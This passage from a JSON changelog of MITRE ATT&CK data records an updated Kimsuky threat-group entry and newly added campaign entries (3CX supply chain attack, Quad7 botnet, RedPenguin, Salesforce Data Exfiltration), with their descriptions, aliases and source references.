"Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-15 20:39:25.843000+00:00\", \"old_value\": \"2025-04-04 17:09:39.718000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "intrusion-set", + "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26 15:03:02.577000+00:00", + "modified": "2025-10-24 00:59:31.235000+00:00", + "name": "Kimsuky", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions.\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nIn 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)", + "aliases": [ + "Kimsuky", + "Black Banshee", + "Velvet Chollima", + "Emerald Sleet", + "THALLIUM", + "APT43", + "TA427", + "Springtail" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0094", + "external_id": "G0094" + }, + { + "source_name": "Black Banshee", + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "THALLIUM", + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "APT43", + "description": "(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "Emerald Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "TA427", + "description": "(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "Kimsuky", + "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "Springtail", + "description": "(Citation: Symantec Troll Stealer 2024)" + }, + { + "source_name": "Velvet Chollima", + "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019", + "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.", + "url": "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf" + }, + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + }, + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + }, + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a" + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite" + }, + { + "source_name": "EST Kimsuky SmokeScreen April 2019", + "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.", + "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf" + }, + { + "source_name": "Malwarebytes Kimsuky June 2021", + "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", + "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/" + }, + { + "source_name": "Proofpoint TA427 April 2024", + "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering" + }, + { + "source_name": "Mandiant APT43 March 2024", + "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.", + "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "MSFT-AI", + "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/" + }, + { + "source_name": "Symantec Troll Stealer 2024", + "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.", + "url": "https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage" + }, + { + "source_name": "Securelist Kimsuky Sept 2013", + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + }, + { + "source_name": "ThreatConnect Kimsuky September 2020", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Taewoo Lee, KISA", + "Dongwook Kim, KISA", + "Jaesang Oh, KC7 Foundation" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 00:59:31.235000+00:00\", \"old_value\": \"2025-01-29 21:17:48.165000+00:00\"}, \"root['description']\": {\"new_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions.\\n\\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n\\nIn 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)\", \"old_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\\n\\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\\n\\nIn 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,5 @@\\n-[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\\n+[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions.\\n \\n [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n \\n-North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\\n-\\n-In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)\\n+In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}", + "previous_version": "5.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korea-based cyber espionage group that has been active since>Korea-based cyber espionage group that has been active since
> at least 2012. The group initially focused on targeting Sou> at least 2012. The group initially targeted South Korean go
>th Korean government entities, think tanks, and individuals >vernment agencies, think tanks, and subject-matter experts i
>identified as experts in various fields, and expanded its op>n various fields. Its operations expanded to include the Uni
>erations to include the UN and the government, education, bu>ted Nations and organizations in the government, education, 
>siness services, and manufacturing sectors in the United Sta>business services, and manufacturing sectors across the Unit
>tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit>ed States, Japan, Russia, and Europe. [Kimsuky](https://atta
>re.org/groups/G0094) has focused its intelligence collection>ck.mitre.org/groups/G0094) has focused collection on foreign
> activities on foreign policy and national security issues r> policy and national security issues tied to the Korean Peni
>elated to the Korean peninsula, nuclear policy, and sanction>nsula, nuclear policy, and sanctions. Its operations have ov
>s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio>erlapped with other DPRK actors, likely due to ad hoc collab
>ns have overlapped with those of other North Korean cyber es>oration or limited resource sharing.(Citation: EST Kimsuky A
>pionage actors likely as a result of ad hoc collaborations o>pril 2019)(Citation: Cybereason Kimsuky November 2020)(Citat
>r other limited resource sharing.(Citation: EST Kimsuky Apri>ion: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301
>l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation>A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Pr
>: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K>oofpoint TA427 April 2024) Because of overlapping operations
>imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof>, some researchers group a wide range of North Korean state-
>point TA427 April 2024)  [Kimsuky](https://attack.mitre.org/>sponsored cyber activity under the broader [Lazarus Group](h
>groups/G0094) was assessed to be responsible for the 2014 Ko>ttps://attack.mitre.org/groups/G0032) umbrella rather than t
>rea Hydro & Nuclear Power Co. compromise; other notable camp>racking separate subgroup or cluster distinctions.  [Kimsuky
>aigns include Operation STOLEN PENCIL (2018), Operation Kaba>](https://attack.mitre.org/groups/G0094) was assessed to be 
>r Cobra (2019), and Operation Smoke Screen (2019).(Citation:>responsible for the 2014 Korea Hydro & Nuclear Power Co. com
> Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok>promise; other notable campaigns include Operation STOLEN PE
>eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb>NCIL (2018), Operation Kabar Cobra (2019), and Operation Smo
> 2019)  North Korean group definitions are known to have sig>ke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)
>nificant overlap, and some security researchers report all N>(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: Ahn
>orth Korean state-sponsored cyber activity under the name [L>Lab Kimsuky Kabar Cobra Feb 2019)  In 2023, [Kimsuky](https:
>azarus Group](https://attack.mitre.org/groups/G0032) instead>//attack.mitre.org/groups/G0094) was observed using commerci
> of tracking clusters or subgroups.  In 2023, [Kimsuky](http>al large language models to assist with vulnerability resear
>s://attack.mitre.org/groups/G0094) has used commercial large>ch, scripting, social engineering and reconnaissance.(Citati
> language models to assist with vulnerability research, scri>on: MSFT-AI)
>pting, social engineering and reconnaissance.(Citation: MSFT 
>-AI) 
" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [ + { + "type": "campaign", + "id": "campaign--4fd53ccc-c6b1-4e3c-abe8-a456d46d789e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-25 22:00:39.072000+00:00", + "modified": "2025-10-23 18:32:38.121000+00:00", + "name": "3CX Supply Chain Attack", + "description": "The [3CX Supply Chain Attack](https://attack.mitre.org/campaigns/C0057) was the first publicly reported case of one supply chain compromise triggering another, leading to a cascading, two-stage intrusion. The initial supply chain attack began when a 3CX employee downloaded and executed a trojanized, end-of-life version of the X_Trader trading software from Trading Technologies. This provided UNC4736, a threat cluster associated with [AppleJeus](https://attack.mitre.org/groups/G1049), access to the 3CX environment. From there UNC4736 compromised the Windows and macOS build environments used to distribute the 3CX desktop application to their customers.(Citation: Mandiant 3cx UNC4736 2023) While 3CX serves more than 600,000 customers and 12 million users, only a subset of systems were affected. Subsequent targeting focused on victims in the defense and cryptocurrency sectors, where attackers deployed secondary payloads such as Gopuram for credential theft and persistence.(Citation: Kaspersky 3CX Gopuram 2023) The campaign began in late 2022 and was disrupted after security vendors publicly reported the compromise in March 2023.(Citation: 3cx official statement 2023)(Citation: Krebs 3cx overview 2023)", + "aliases": [ + "3CX Supply Chain Attack" + ], + "first_seen": "2022-11-01 06:00:00+00:00", + "last_seen": "2023-03-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0057", + "external_id": "C0057" + }, + { + "source_name": "3cx official statement 2023", + "description": "Agathocles Prodromou. (2023, April 20). Security Update Thursday 20 April 2023 \u2013 Initial Intrusion Vector Found. Retrieved August 25, 2025.", + "url": "https://www.3cx.com/blog/news/mandiant-security-update2/" + }, + { + "source_name": "Krebs 3cx overview 2023", + "description": "Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.", + "url": "https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/" + }, + { + "source_name": "Kaspersky 3CX Gopuram 2023", + "description": "Georgy Kucherin, Vasily Berdnikov, Vilen Kamalov. (2023, April 3). Not just an infostealer: Gopuram backdoor deployed through 3CX supply chain attack. Retrieved August 25, 2025.", + "url": "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/" + }, + { + "source_name": "Mandiant 3cx UNC4736 2023", + "description": "Jeff Johnson, Fred Plan, Adrian Sanchez, Renato Fontana, Jake Nicastro, Dimiter Andonov, Marius Fodoreanu, Daniel Scott. (2023, April 20). 3CX Software Supply Chain Compromise Initiated by a Prior Software Supply Chain Compromise; Suspected North Korean Actor Responsible. Retrieved August 25, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Austin Larsen and the Google Threat Intelligence Group", + "Michael \u201cBarni\u201d Barnhart, DTEX" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Mandiant 3cx UNC4736 2023)", + "x_mitre_last_seen_citation": "(Citation: 3cx official statement 2023)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--e7511089-1076-4a3b-984d-1a0a8afe31e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-04 16:03:15.537000+00:00", + "modified": "2025-10-24 03:37:52.324000+00:00", + "name": "Quad7 Activity", + "description": " Quad7 Activity, also known as CovertNetwork-1658 or the 7777 Botnet, is a network of compromised small office/home office (SOHO) routers. (Citation: Bitsight 7777 Botnet) (Citation: Microsoft Storm-0940) The botnet was initially composed primarily of TP-Link routers and was named Quad7 due to compromised devices exposing TCP port 7777 with the distinctive banner xlogin. Later activity showed a significant increase in compromised Asus routers and the addition of new ports and banners, including TCP port 63256 displaying alogin. Quad7 infrastructure functions as a collection of egress IPs that various China-affiliated threat actors have used to conduct password-spraying and brute-force operations. (Citation: Bitsight 7777 Botnet)(Citation: Medium 777-Botnet) Microsoft has reported that Storm-0940 leveraged credentials obtained through Quad7 Activity to target organizations in North America and Europe, including government agencies, non-governmental organizations, think tanks, law firms, energy firms, IT providers, and defense industrial base entities. (Citation: Microsoft Storm-0940)", + "aliases": [ + "Quad7 Activity" + ], + "first_seen": "2023-08-01 04:00:00+00:00", + "last_seen": "2025-08-01 04:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0055", + "external_id": "C0055" + }, + { + "source_name": "Bitsight 7777 Botnet", + "description": "Batista, Jo\u00e3o. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.", + "url": "https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet" + }, + { + "source_name": "Medium 777-Botnet", + "description": "Gi7w0rm. (2023, October 19). The curious case of the 7777-Botnet. Retrieved June 5, 2025.", + "url": "https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd" + }, + { + "source_name": "Microsoft Storm-0940", + "description": "Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/" + }, + { + "source_name": "TP-Link Quad 7 AUG 2025", + "description": "TP-Link . (2025, August 29). Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658. Retrieved October 10, 2025.", + "url": "https://www.tp-link.com/us/support/faq/4365/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Microsoft Storm-0940)", + "x_mitre_last_seen_citation": "(Citation: TP-Link Quad 7 AUG 2025)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--35879bf3-0a21-4cc1-9e42-6de917a22501", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-24 15:14:52.789000+00:00", + "modified": "2025-10-24 03:46:34.675000+00:00", + "name": "RedPenguin", + "description": "The [RedPenguin](https://attack.mitre.org/campaigns/C0056) project was launched by Juniper in July 2024 to investigate reported malware infections of Juniper MX Series routers. [RedPenguin](https://attack.mitre.org/campaigns/C0056) activity was separately attributed to [UNC3886](https://attack.mitre.org/groups/G1048) and included the deployment of multiple custom versions of the publicly-available TINYSHELL backdoor on Juniper routers.(Citation: Juniper RedPenguin MAR 2025)(Citation: Mandiant UNC3886 Juniper Routers MAR 2025)", + "aliases": [ + "RedPenguin" + ], + "first_seen": "2024-07-01 04:00:00+00:00", + "last_seen": "2025-03-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0056", + "external_id": "C0056" + }, + { + "source_name": "Juniper RedPenguin MAR 2025", + "description": "Juniper Networks, Cybersecurity R&D. (2025, March 11). The RedPenguin Malware Incident. Retrieved June 24, 2025.", + "url": "https://supportportal.juniper.net/sfc/servlet.shepherd/document/download/069Dp00000FzdmIIAR?operationContext=S1" + }, + { + "source_name": "Mandiant UNC3886 Juniper Routers MAR 2025", + "description": "Lamparski, L. et al. (2025, March 11). Ghost in the Router: China-Nexus Espionage Actor UNC3886 Targets Juniper Routers. Retrieved June 24, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-targets-juniper-routers" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Juniper RedPenguin MAR 2025)(Citation: Mandiant UNC3886 Juniper Routers MAR 2025)", + "x_mitre_last_seen_citation": "(Citation: Juniper RedPenguin MAR 2025)(Citation: Mandiant UNC3886 Juniper Routers MAR 2025)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--9cea8bec-07c5-422b-84b8-99d3128ce570", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-22 14:02:44.965000+00:00", + "modified": "2025-10-24 04:09:52.046000+00:00", + "name": "Salesforce Data Exfiltration", + "description": "The [Salesforce Data Exfiltration](https://attack.mitre.org/campaigns/C0059) campaign began in October 2024 with financially-motivated threat actor UNC6040 using [Spearphishing Voice](https://attack.mitre.org/techniques/T1598/004) (vishing) to compromise corporate Salesforce instances for large-scale data theft and extortion. Following the initial data theft, victim organizations received extortion demands from a separate threat actor, UNC6240, who claimed to be the \u201cShinyHunters\u201d group. The observed infrastructure and TTPs used during the [Salesforce Data Exfiltration](https://attack.mitre.org/campaigns/C0059) campaign overlap with those used by threat groups with suspected ties to the broader collective known as \"The Com.\u201d These overlaps could plausibly be the result of associated actors operating within the same communities and are not necessarily an indication of a direct operational relationship.(Citation: FBI Salesforce Data Theft SEP 2025)(Citation: Google Salesforce JUN 2025)", + "aliases": [ + "Salesforce Data Exfiltration" + ], + "first_seen": "2004-10-01 04:00:00+00:00", + "last_seen": "2025-09-01 04:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0059", + "external_id": "C0059" + }, + { + "source_name": "FBI Salesforce Data Theft SEP 2025", + "description": "FBI Cyber Division. (2025, September 12). Cyber Criminal Groups UNC6040 and UNC6395 Compromising Salesforce Instances for Data Theft and Extortion. Retrieved October 22, 2025.", + "url": "https://www.ic3.gov/CSA/2025/250912.pdf" + }, + { + "source_name": "Google Salesforce JUN 2025", + "description": "Google Threat Intelligence Group. (2025, June 4). The Cost of a Call: From Voice Phishing to Data Extortion. Retrieved October 22, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/voice-phishing-data-extortion" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + 